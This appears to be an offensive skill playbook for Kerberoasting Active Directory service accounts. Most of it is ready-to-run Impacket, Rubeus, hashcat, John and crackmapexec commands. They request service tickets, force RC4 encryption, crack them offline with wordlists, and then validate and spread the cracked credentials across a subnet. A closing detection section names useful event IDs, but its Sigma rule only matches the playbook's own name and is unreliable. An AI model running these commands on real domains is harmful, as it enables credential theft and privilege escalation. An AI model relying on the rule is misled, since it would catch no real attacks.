<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: exploiting-kerberoasting-vulnerabilities
description: >-
  Extract and crack Kerberos TGS tickets for service accounts with SPNs set,
  using Impacket GetUserSPNs, Rubeus, and hashcat. Identify weak service account
  passwords and escalate privileges through Kerberoastable attack paths.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - kerberoasting
  - kerberos
  - spn
  - service-accounts
  - credential-access
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1558.003"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["impacket", "rubeus", "hashcat", "john"]
---

# Exploiting Kerberoasting Vulnerabilities

## Overview

Kerberoasting targets AD service accounts that have Service Principal Names (SPNs)
registered. Any authenticated domain user can request TGS tickets for these SPNs,
then crack the ticket offline to recover the service account password. No elevated
privileges are required for the request — only for the crack.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `impacket` | Security tooling |
| `hashcat or john` | Security tooling |
| `optionally Rubeus` | Security tooling |
| Any valid domain user credentials | Environment requirement |
| Network access to a domain controller (Kerberos 88/TCP) | Environment requirement |

## Workflow

### Step 1: Enumerate Kerberoastable Accounts

```bash
# Enumerate all SPNs with Impacket (outputs hashes directly)
impacket-GetUserSPNs -request -dc-ip 10.0.0.1 \
  -outputfile kerberoast.txt corp.local/jsmith:'P@ssw0rd'

# Enumerate without requesting tickets first
impacket-GetUserSPNs -dc-ip 10.0.0.1 corp.local/jsmith:'P@ssw0rd'

# Rubeus Kerberoast from Windows
Rubeus.exe kerberoast /outfile:kerberoast.txt /stats
Rubeus.exe kerberoast /outfile:kerberoast.txt
```

### Step 2: Target High-Value Accounts

```bash
# Kerberoast specific high-privilege account
impacket-GetUserSPNs -request -dc-ip 10.0.0.1 \
  -target-domain corp.local corp.local/jsmith:'P@ssw0rd' \
  -request-user svc-sqladmin

# Rubeus — target specific user with RC4 downgrade
Rubeus.exe kerberoast /user:svc-sqladmin /enctype:rc4
```

### Step 3: Crack Service Tickets

```bash
# Crack with hashcat (Kerberos 5 TGS-REP etype 23 — RC4)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# Crack with hashcat (Kerberos 5 TGS-REP etype 17/18 — AES)
hashcat -m 19700 kerberoast_aes.txt /usr/share/wordlists/rockyou.txt

# Crack with John
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
```

### Step 4: Validate and Escalate

```bash
# Validate cracked credentials
crackmapexec smb 10.0.0.1 -u svc-sqladmin -p 'CrackedPass123' -d corp.local

# Check what the service account has access to
crackmapexec smb 10.0.0.0/24 -u svc-sqladmin -p 'CrackedPass123' \
  -d corp.local --shares

# Analyze with agent
node scripts/agent.js analyze --domain corp.local --dc-ip 10.0.0.1
```

## Verification

- [ ] All Kerberoastable accounts enumerated with SPN details
- [ ] TGS tickets requested and saved in hashcat format
- [ ] Tickets cracked or determined to use strong passwords
- [ ] Cracked accounts mapped to BloodHound attack paths
- [ ] High-privilege service accounts flagged for remediation

## Detection Opportunities

- Event 4769 with encryption type 0x17 (RC4) — Kerberos service ticket request
- Spike in TGS requests from a single user to multiple SPNs
- Event 4769 where the requesting account is not the service itself
- Sigma rule: `win_security_kerberoasting_activity`

```yaml
title: Exploiting Kerberoasting Vulnerabilities Detection
id: c2f23615-57e2-4124-90aa-c7e0f2b4ee14
status: experimental
description: Detects suspicious activity related to exploiting kerberoasting vulnerabilities techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*exploiting*kerberoasting*"
  condition: selection
level: medium
tags:
  - attack.t1558.003
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```

## References

- [Impacket GetUserSPNs](https://github.com/fortra/impacket/blob/main/examples/GetUserSPNs.py)
- [Kerberoasting Without Mimikatz — Sean Metcalf](https://adsecurity.org/?p=2293)
- [Rubeus Kerberoast](https://github.com/GhostPack/Rubeus#kerberoast)
